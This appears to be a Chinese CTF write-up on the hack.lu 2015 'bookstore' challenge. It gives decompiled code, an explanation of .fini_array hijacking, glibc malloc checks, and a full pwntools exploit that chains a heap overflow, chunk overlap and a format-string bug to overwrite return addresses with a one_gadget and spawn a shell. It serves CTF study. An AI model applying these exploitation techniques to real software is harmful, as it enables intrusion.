CTF-PWN-堆-【chunk extend/overlapping-2】(hack.lu ctf 2015 bookstore)

文章目录

  • hack.lu ctf 2015 bookstore
  • 检查
  • IDA源码
      • main函数
      • edit_note
      • delete_note
      • submit
    • .fini_array段劫持(回到main函数的方法)
  • 思路
    • 格式化字符串是啥呢
    • 0x开头或者没有0x开头的十六进制的字符串或字节的转换为整数
    • 构造格式化字符串的其他方法
  • exp

佛系getshell
常规getshell

hack.lu ctf 2015 bookstore

检查

got表可写,没有地址随机化(PIE)
在这里插入图片描述

IDA源码

C 库函数 char *gets(char *str) 从标准输入 stdin 读取一行,并把它存储在 str 所指向的字符串中。当读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

C 库函数 int puts(const char *str) 把一个字符串写入到标准输出 stdout,直到空字符,但不包括空字符。换行符会被追加到输出中。

main函数

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{int v4; // [rsp+4h] [rbp-BCh]char *v5; // [rsp+8h] [rbp-B8h]char *first_order; // [rsp+18h] [rbp-A8h]char *second_order; // [rsp+20h] [rbp-A0h]char *dest; // [rsp+28h] [rbp-98h]char s[136]; // [rsp+30h] [rbp-90h] BYREFunsigned __int64 v10; // [rsp+B8h] [rbp-8h]v10 = __readfsqword(0x28u);first_order = (char *)malloc(0x80uLL);second_order = (char *)malloc(0x80uLL);dest = (char *)malloc(0x80uLL);if ( !first_order || !second_order || !dest ){fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);return 1LL;}v4 = 0;puts(" _____          _   _                 _          _                   _ \n""/__   \\_____  _| |_| |__   ___   ___ | | __  ___| |_ ___  _ __ ___  / \\\n""  / /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\/  /\n"" / / |  __/>  <| |_| |_) | (_) | (_) |   <  \\__ \\ || (_) | | |  __/\\_/ \n"" \\/   \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_|  \\___\\/   \n""Crappiest and most expensive books for your college education!\n""\n""We can order books for you in case they're not in stock.\n""Max. two orders allowed!\n");
LABEL_14:while ( !v4 ){puts("1: Edit order 1");puts("2: Edit order 2");puts("3: Delete order 1");puts("4: Delete order 2");puts("5: Submit");fgets(s, 128, stdin);switch ( s[0] ){case '1':puts("Enter first order:");edit_order(first_order);strcpy(dest, "Your order is submitted!\n");goto LABEL_14;case '2':puts("Enter second order:");edit_order(second_order);strcpy(dest, "Your order is submitted!\n");goto LABEL_14;case '3':delete_order(first_order);goto LABEL_14;case '4':delete_order(second_order);goto LABEL_14;case '5':v5 = (char *)malloc(0x140uLL);if ( !v5 ){fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);return 1LL;}submit(v5, first_order, second_order);v4 = 1;break;default:goto LABEL_14;}}printf("%s", v5);printf(dest);return 0LL;}

功能选择前就已经先创建三个大小为0x80的堆了(对于chunk的size为0x90),第一个chunk是order1的内容,第二个chunk是order2的内容,第三个chunk是dest的内容(这个存储字符串的),然后根据输入对应其功能函数,对应功能5的函数会创建一个0x140的堆(对于chunk的size为0x150),然后把之前函数定义的两个order的内容组合再加一个Your order is submitted!\n的字符串

edit_note

unsigned __int64 __fastcall edit_order(char *a1)
{int idx; // eaxint v3; // [rsp+10h] [rbp-10h]int cnt; // [rsp+14h] [rbp-Ch]unsigned __int64 v5; // [rsp+18h] [rbp-8h]v5 = __readfsqword(0x28u);v3 = 0;cnt = 0;while ( v3 != '\n' ){v3 = fgetc(stdin);idx = cnt++;a1[idx] = v3;}a1[cnt - 1] = 0;return __readfsqword(0x28u) ^ v5;
}

没有限制的输入长度,可以一直输入直到有换行符,并将换行符改为0

delete_note

unsigned __int64 __fastcall delete_order(void *a1)
{unsigned __int64 v2; // [rsp+18h] [rbp-8h]v2 = __readfsqword(0x28u);free(a1);return __readfsqword(0x28u) ^ v2;
}

直接free但是没有清空,存在use after free

submit

unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{size_t v3; // raxsize_t v4; // raxunsigned __int64 v7; // [rsp+28h] [rbp-8h]v7 = __readfsqword(0x28u);strcpy(all, "Order 1: ");v3 = strlen(order1);strncat(all, order1, v3);strcat(all, "\nOrder 2: ");v4 = strlen(order2);strncat(all, order2, v4);*(_WORD *)&all[strlen(all)] = '\n';return __readfsqword(0x28u) ^ v7;
}

提交,此时将各个order的字符串和使用功能1或2时就已经赋值到dest里的字符串内容组合,再赋值到dest

.fini_array段劫持(回到main函数的方法)

.fini_array段劫持资料参考

大多数可执行文件是通过链接 libc 来进行编译的,因此 gcc 会将 glibc 初始化代码放入编译好的可执行文件和共享库中。 .init_array和 .fini_array 节(早期版本被称为 .ctors和 .dtors )中存放了指向初始化代码和终止代码的函数指针。 .init_array 函数指针会在 main() 函数调用之前触发。这就意味着,可以通过重写某个指向正确地址的指针来将控制流指向病毒或者寄生代码。 .fini_array 函数指针在 main() 函数执行完之后才被触发,在某些场景下这一点会非常有用。例如,特定的堆溢出漏洞(如曾经的 Once upon a free())会允许攻击者在任意位置写4个字节,攻击者通常会使用一个指向 shellcode 地址的函数指针来重写.fini_array 函数指针。对于大多数病毒或者恶意软件作者来说, .init_array 函数指针是最常被攻击的目标,因为它通常可以使得寄生代码在程序的其他部分执行之前就能够先运行。

构造函数(constructors)和析构函数(destructors)。程序员应当使用类似下面的方式来指定这些属性:

带有”构造函数”属性的函数将在main()函数之前被执行,而声明为”析构函数”属性的函数则将在after main()退出时执行。

#include <stdio.h>
#include <stdlib.h>static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));int main(int argc, char *argv[])
{printf("start == %p\n", start);printf("stop == %p\n", stop);return 0;
}void start(void)
{printf("hello world!\n");
}void stop(void)
{printf("goodbye world!\n");
}

在这里插入图片描述
在gdb中利用readelf查看对应的.ini_array段和.fini_array段,以及存储的函数指针
在这里插入图片描述
分析一下结果
.init_array存的 0x1160是 frame_dummy函数地址(ida里面可查看) 0x11bf,是自己定义的start函数的地址,也就是说main函数开始之前会先执行 frame_dummy函数和start函数

.fini_array存的 0x1120是 __do_global_dtors_aux函数地址(ida里面可查看) 0x11d9,是自己定义的stop函数的地址,也就是说main函数结束之后会执行 __do_global_dtors_aux函数和stop函数

假设此时取消定义的属性

#include <stdio.h>
#include <stdlib.h>static void start(void) ;
static void stop(void) ;int main(int argc, char *argv[])
{printf("start == %p\n", start);printf("stop == %p\n", stop);return 0;
}void start(void)
{printf("hello world!\n");
}void stop(void)
{printf("goodbye world!\n");
}

此时.ini_array和.fini_array都只有一个函数指针,.ini_array是 frame_dummy函数地址(ida里面可查看),fini_array是 __do_global_dtors_aux函数地址(ida里面可查看)
在这里插入图片描述

思路

明显溢出,而且长度任意,那么可以修改其他chunk的header和内容
如图,利用editor 2时写入0x80个字节覆盖满chunk2,多余的内容覆盖到chunk3的header处从而修改
在这里插入图片描述
但是我们先要得到libc地址,那么得得到相关函数地址才行

发现有个格式化字符串漏洞,但是在循环外,也就必须submit后才会执行该函数。又因为editor修改会在dest的位置复制一个字符串,所以当溢出设置格式化字符串时要提前空出这个后面要复制的字符串的长度。然后才是格式化字符串。但此时发现优于strcpy时会将空字符也复制进入,所以导致后面的内容无效,所以此方法还是不行。还得是再次找到机会重写dest

此时需要利用到chunk extend方法了
先free第二个堆,再修改第一个堆溢出从而修改第二个堆的header,然后调用submit使得malloc。当然也可以先修改第一个堆溢出修改第二个堆的header,然后free第二个堆,然后调用submit使得malloc
这样能够submit得到的堆是第二个堆,并且其大小覆盖到了dest这个堆,从而可以修改格式化字符串

free之前对chunk做各种check,总而言之就是不能double free和通过size计算的下一个chunk的得确实是一个malloc得到的chunk,那malloc时,会对该unsortedbin中的chunk的前后做合并尝试,首先通过prev_inuse来决定是否先前合并,如果为1即可不合并,同样,如果下一个chunk正在被使用的话,就没有向后合并的操作了(检查下一个chunk的下一个chunk的prev_inuse位)

所以此时溢出的prev_size大小为0也不影响,如果先free的话,这些free前的检查都不用考虑,只需如何修改使得malloc得到0x140的堆为第二个chunk,但如果是先修改再free,此时面对的各个检查比较繁琐,还需构造下一个chunk,所以采用先free再修改,此时对应的从unsortedbin的remalloc

if (size == nb)
{set_inuse_bit_at_offset (victim, size);if (av != &main_arena)victim->size |= NON_MAIN_ARENA;check_malloced_chunk (av, victim, nb);void *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;
# define check_malloced_chunk(A, P, N)   do_check_malloced_chunk (A, P, N)
static void
do_check_malloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{/* same as recycled case ... */do_check_remalloced_chunk (av, p, s);/*... plus,  must obey implementation invariant that prev_inuse isalways true of any allocated chunk; i.e., that each allocatedchunk borders either a previously allocated and still in-usechunk, or the base of its memory arena. This is ensuredby making all allocations from the `lowest' part of any foundchunk.  This does not necessarily hold however for chunksrecycled via fastbins.*/assert (prev_inuse (p));
}
static void
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);if (!chunk_is_mmapped (p)){assert (av == arena_for_chunk (p));if (chunk_non_main_arena (p))assert (av != &main_arena);elseassert (av == &main_arena);}do_check_inuse_chunk (av, p);/* Legal size ... */assert ((sz & MALLOC_ALIGN_MASK) == 0);assert ((unsigned long) (sz) >= MINSIZE);/* ... and alignment */assert (aligned_OK (chunk2mem (p)));/* chunk is less than MINSIZE more than request */assert ((long) (sz) - (long) (s) >= 0);assert ((long) (sz) - (long) (s + MINSIZE) < 0);
}/*Properties of nonrecycled chunks at the point they are malloced*/static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{mchunkptr next;do_check_chunk (av, p);if (chunk_is_mmapped (p))return; /* mmapped chunks have no next/prev *//* Check whether it claims to be in use ... */assert (inuse (p));next = next_chunk (p);/* ... and is surrounded by OK chunks.Since more things can be checked with free chunks than inuse ones,if an inuse chunk borders them and debug is on, it's worth doing them.*/if (!prev_inuse (p)){/* Note that we cannot even look at prev unless it is not inuse */mchunkptr prv = prev_chunk (p);assert (next_chunk (prv) == p);do_check_free_chunk (av, prv);}if (next == av->top){assert (prev_inuse (next));assert (chunksize (next) >= MINSIZE);}else if (!inuse (next))do_check_free_chunk (av, next);                       这个检查应该使得无法利用的,不知道为啥可以利用成功
}

可以发现下一个chunk的inuse位为0
下一个chunk应该是不能通过do_check_free_chunk (av, next);
不知道为啥
在这里插入图片描述

static void
do_check_chunk (mstate av, mchunkptr p)
{unsigned long sz = chunksize (p);/* min and max possible addresses assuming contiguous allocation */char *max_address = (char *) (av->top) + chunksize (av->top);char *min_address = max_address - av->system_mem;if (!chunk_is_mmapped (p)){/* Has legal address ... */if (p != av->top){if (contiguous (av)){assert (((char *) p) >= min_address);assert (((char *) p + sz) <= ((char *) (av->top)));}}else{/* top size is always at least MINSIZE */assert ((unsigned long) (sz) >= MINSIZE);/* top predecessor always marked inuse */assert (prev_inuse (p));}}else{/* address is outside main heap  */if (contiguous (av) && av->top != initial_top (av)){assert (((char *) p) < min_address || ((char *) p) >= max_address);}/* chunk is page-aligned */assert (((p->prev_size + sz) & (GLRO (dl_pagesize) - 1)) == 0);/* mem is aligned */assert (aligned_OK (chunk2mem (p)));}
}static void
do_check_free_chunk (mstate av, mchunkptr p)
{INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);mchunkptr next = chunk_at_offset (p, sz);do_check_chunk (av, p);/* Chunk must claim to be free ... */assert (!inuse (p));assert (!chunk_is_mmapped (p));/* Unless a special marker, must have OK fields */if ((unsigned long) (sz) >= MINSIZE){assert ((sz & MALLOC_ALIGN_MASK) == 0);assert (aligned_OK (chunk2mem (p)));/* ... matching footer field */assert (next->prev_size == sz);/* ... and is fully consolidated */assert (prev_inuse (p));assert (next == av->top || inuse (next));/* ... and has minimally sane links */assert (p->fd->bk == p);assert (p->bk->fd == p);}else /* markers are always of size SIZE_SZ */assert (sz == SIZE_SZ);
}

格式化字符串是啥呢

这里利用输入时fgetc会输入空字符得特点和字符串相关函数遇到空字符结束的特点,使得最好输入的内容正好在格式化字符串参数的位置

此时对应的submit的结果:Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
我们的目的是达到第二个内容在dest的位置

此时首先为了达到溢出到修改节点2的header的位置需要将字符填满有0x80,而为了保证第二个内容在dest的位置,此时又得保证(Order 1: 内容\nOrder 2: Order 1: )这前面的内容有0x90,由于此时内容就有0x90个字节(0x80+chunk头0x10),所以由于字符串函数遇到空字符结束的特点,可以在内容中存在空字符来使得其截止

程序退出后会执行.fini_array地址处的函数,不过只能利用一次。

这里利用到malloc(0x150)得到的chunk依然是order2,而submit中第一次复制是将order1复制到order2里,然后又将order2的内容复制到order2中,这样超过0x80的部分就是格式字符串的内容了

此时格式化字符串是要泄露栈上libc_start_main函数的地址和修改fini_array的内容和泄露栈上某个与第二次调用printf格式化字符串漏洞的有固定偏移的栈地址
在这里插入图片描述

格式化字符串构造好后,在输入功能选项5后加上fini_array的地址,然后找到输入位置和printf参数的偏移,最后修改地址并泄露地址

最后第二次格式化字符串的时候修改返回地址为onegadget函数地址(方法与第一次类似,返回地址在栈上的位置与之前泄露的栈地址有固定偏移)

当替换到返回地址为onegadget地址后,当执行到onegadget后会发现rax已经是NULL,所以不需要清零了
在这里插入图片描述

0x开头或者没有0x开头的十六进制的字符串或字节的转换为整数

int(字符串,16)

构造格式化字符串的其他方法

可以通过多个+号来串联

b"%"+one+b"c%13$hhn"+b"%"+two+b"c%14$hn"

exp

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
p=process("./books")
#gdb.attach(p,"b main")
f=ELF("./books")
free_got=f.got["free"]def editor1(content):p.sendlineafter(b"5: Submit\n",str(1))p.sendlineafter(b"Enter first order:\n",content)def editor2(content):p.sendlineafter(b"5: Submit\n",str(2))p.sendlineafter(b"Enter second order:\n",content)def delete1():p.sendlineafter(b"5: Submit\n",str(3))def delete2():p.sendlineafter(b"5: Submit\n",str(4))def submit(content):p.sendlineafter(b"5: Submit\n",content)delete2()
payload=b"%10c%13$hhn%47c%14$hhn" #修改fini的内容
payload=payload+b"function:%31$p stack:%33$p"    # 泄露栈顶地址和函数地址# p 0x7ffdb2339578-0x7ffdb23393c8 $1 = 0x1b0
#p 0x7ffdb23393c8- 0x7ffdb23392b8 $5 = 0x110payload=payload+b'a'*(0x90-28-len(payload))
payload=payload+b"\x00"*(0x80-len(payload))+p64(0)+p64(0x151)
# Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
editor1(payload)fini_addr=0x6011b8
submit(b'5'+7*p8(0x0)+p64(fini_addr+1)+p64(fini_addr))
#0x7fffe0688210-0x7fffe06881e0  0x0000000000400830  0x400a39p.recvuntil(b"stack")
p.recvuntil(b"stack")
p.recvuntil(b"function:")
libc_start_main=p.recvuntil(b" ")[:-1]
libc_start_main=int(libc_start_main,16) # 将0x形式的字符串转化数字p.recvuntil(b"stack:")
stack_addr=p.recvuntil(b"a")[:-1]
stack_addr=int(stack_addr,16)libc_start_main=libc_start_main-240
libc_addr=libc_start_main-0x20750
stack_addr=stack_addr-0x1b0-0x110 +208
onegadget_addr=libc_addr+0x45226print("libc_start_main",hex(libc_start_main))
print("libc_addr",hex(libc_addr))
print("stack_addr",hex(stack_addr)) change46=hex(onegadget_addr)[-6:-4]
change46=int(change46,16)
print(hex(change46))
change14=hex(onegadget_addr)[-4:]
change14=int(change14,16)
print(hex(change14))
two=bytes(str(change14-change46),"ascii")
one=bytes(str(change46),"ascii")delete2()
print(one)
print(two)
payload=b"%"+one+b"c%13$hhn"+b"%"+two+b"c%14$hn"payload=payload+b'a'*(0x90-28-len(payload))
payload=payload+b"\x00"*(0x80-len(payload))+p64(0)+p64(0x151)
# Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
editor1(payload)submit(b'5'+7*p8(0x0)+p64(stack_addr+2)+p64(stack_addr))p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/672780.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Qt博客目录

Qt安装配置教程windows版&#xff08;亲测可行&#xff09; 使用Qt创建项目 & Qt中输出内容到控制台 & 设置窗口大小和窗口标题 & Qt查看说明文档 Qt信号和槽机制&#xff08;什么是信号和槽&#xff0c;connect函数的形式&#xff0c;按钮的常用信号&#xff0c…

04 使用gRPC实现客户端和服务端通信

使用gRPC实现客户端和服务端通信 参考文档: 基于C#的GRPC 1 创建项目和文件夹 GrpcClientDemoGrpcServerDemoProtos解决方案和文件夹1.1 添加nuget依赖 客户端和服务器都要有依赖和gRPC_Objects文件夹 <ItemGroup><PackageReference Include"Google.Protobu…

python实现飞书群机器人消息通知(消息卡片)

python实现飞书群机器人消息通知 直接上代码 """ 飞书群机器人发送通知 """ import time import urllib3 import datetimeurllib3.disable_warnings()class FlybookRobotAlert():def __init__(self):self.webhook webhook_urlself.headers {…

java---查找算法(二分查找,插值查找,斐波那契[黄金分割查找] )-----详解 (ᕑᗢᓫ∗)˒

目录 一. 二分查找&#xff08;递归&#xff09;&#xff1a; 代码详解&#xff1a; 运行结果&#xff1a; 二分查找优化&#xff1a; 优化代码&#xff1a; 运行结果&#xff08;返回对应查找数字的下标集合&#xff09;&#xff1a; ​编辑 二分查找&#xff08;非递归…

神经网络的权重是什么?

请参考这个视频https://www.bilibili.com/video/BV18P4y1j7uH/?spm_id_from333.788&vd_source1a3cc412e515de9bdf104d2101ecc26a左边是拟合的函数&#xff0c;右边是均方和误差&#xff0c;也就是把左边的拟合函数隐射到了右边&#xff0c;右边是真实值与预测值之间的均方…

双5G工业路由器无缝链接物联网世界!

在现代工业领域&#xff0c;随着工业互联网的发展和智能化需求的提升&#xff0c;双5G工业路由器成为了实现工业互联网的关键利器。与传统的有线网络相比&#xff0c;双5G工业路由器具有更高的速度和更低的延迟&#xff0c;能够满足高密度设备连接和大流量数据传输的需求。尤其…

第3章 模板

学习目标 了解模板与模板引擎Jinja2&#xff0c;能够复述模板引擎和模板的作用 掌握模板变量的语法&#xff0c;能够在Jinja2模板中定义模板变量 掌握过滤器的使用&#xff0c;能够在Jinja2模板中使用过滤器过滤模板变量保存的数据 掌握选择结构的使用&#xff0c;能够在Jin…

1、卷积分类器

用 Kera 创建你的第一个计算机视觉模型。 数据集下载地址:链接:https://pan.quark.cn/s/f9a1428cf6e3 提取码:XJcv 文章目录 欢迎来到计算机视觉!简介卷积分类器训练分类器示例 - 训练一个卷积分类器步骤1 - 加载数据步骤2 - 定义预训练基步骤3 - 附加头步骤4 - 训练结论欢…

分享70个行业PPT,总有一款适合您

分享70个行业PPT&#xff0c;总有一款适合您 70个行业PPT下载链接&#xff1a;https://pan.baidu.com/s/1wGxmwmzssJud4ZQmI4IqFQ?pwd8888 提取码&#xff1a;8888 Python采集代码下载链接&#xff1a;采集代码.zip - 蓝奏云 学习知识费力气&#xff0c;收集整理更不易…

vite项目配置根据不同的打包环境使用不同的请求路径VITE_BASE_URL,包括报错解决

vite环境配置可以看官方文档&#xff1a;环境变量和模式 | Vite 官方中文文档 创建环境配置文件 在项目根目录下面创建.env和.env.production文件&#xff0c;.env是开发环境使用的&#xff0c;.env.production是生产环境使用的。 .env文件&#xff1a; # 基本环境 VITE_APP…

PyTorch 2.2 中文官方教程(二)

在 YouTube 上介绍 PyTorch PyTorch 介绍 - YouTube 系列 原文&#xff1a;pytorch.org/tutorials/beginner/introyt.html 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 介绍 || 张量 || 自动微分 || 构建模型 || TensorBoard 支持 || 训练模型 || 模型理解 作者&a…

mysql order by 排序原理

sql语句按照指定的字段进行排序是查询数据时是一个很常见的操作。当涉及到大量数据时&#xff0c;对于 ORDER BY 操作&#xff0c;可以考虑为相应的列添加索引&#xff0c;如果不使用索引&#xff0c;mysql会使用filesort来进行排序。 filesort filesort虽然有file&#xff0…

拦截器配置,FeignClient根据业务规则实现微服务动态路由

文章目录 业务场景拦截器用法Open Feign介绍 业务场景 我们服务使用Spring Cloud微服务架构&#xff0c;使用Spring Cloud Gateway 作为网关&#xff0c;使用 Spring Cloud OpenFeign 作为服务间通信方式我们现在做的信控平台&#xff0c;主要功能之一就是对路口信号机进行管控…

数据结构中的时间复杂度和空间复杂度基础

目录 数据结构 数据结构中的基本名词 数据 数据对象 数据元素 数据项 数据类型 数据对象、数据元素和数据项之间的关系 数据结构及分类 逻辑结构 物理结构 算法 算法的特点 算法设计上的要求 算法效率的衡量 时间复杂度 大O渐进表示法 最坏情况和平均情况 常…

关于现有预报气象大模型的能力上限思考

从2022年开始&#xff0c;以华为pangu weather为代表的气象大模型及fuxi、fengwu等相继涌现&#xff0c;公开发表的文章里也展示了模型与ec预报性能的对比&#xff0c;并且这些大模型也公开了相应的代码或模型&#xff0c;便于人人都可测试使用&#xff08;如何在本地部署大模型…

R语言学习case10:ggplot基础画图Parallel Coordinate Plot 平行坐标图

step1: 导入ggplot2库文件 library(ggplot2)step2&#xff1a;带入自带的iris数据集 iris <- datasets::irisstep3&#xff1a;查看数据信息 dim(iris)维度为 [150,5] head(iris)查看数据前6行的信息 step4&#xff1a;利用ggplot工具包绘图 plot5 <- ggparcoord(…

Pandas数据预处理之数据标准化-提升机器学习模型性能的关键步骤【第64篇—python:数据预处理】

文章目录 Pandas数据预处理之数据标准化&#xff1a;提升机器学习模型性能的关键步骤1. 数据标准化的重要性2. 使用Pandas进行数据标准化2.1 导入必要的库2.2 读取数据2.3 数据标准化 3. 代码解析4. 进一步优化4.1 最小-最大缩放4.2 自定义标准化方法 5. 处理缺失值和异常值5.1…

HGAME 2024 WEEK 1 :web ezHTTP

题目&#xff1a; 看到这个就知道是文件头伪造 第一想法就是Referer伪造 所以伪造 Referer: vidar.club 然后构造伪造的Referer 然后提示通过那些东西访问页面&#xff0c;User-Agent: 是构造你浏览器访问信息的&#xff0c;所以复制右边那一串替代就好了 然后要求我们从本地…

STM32Cubmax stm32f103zet6 SPI通讯

一、基本概念 SPI 是英语 Serial Peripheral interface 的缩写&#xff0c;顾名思义就是串行外围设备接口。是 Motorola 首先在其 MC68HCXX 系列处理器上定义的。 SPI 接口主要应用在 EEPROM&#xff0c; FLASH&#xff0c;实时时 钟&#xff0c; AD 转换器&#xff0c;还有数…

Vue3入门到实战笔记04--生命周期和自定义hook

13. 生命周期 概念&#xff1a;Vue组件实例在创建时要经历一系列的初始化步骤&#xff0c;在此过程中Vue会在合适的时机&#xff0c;调用特定的函数&#xff0c;从而让开发者有机会在特定阶段运行自己的代码&#xff0c;这些特定的函数统称为&#xff1a;生命周期钩子 规律&am…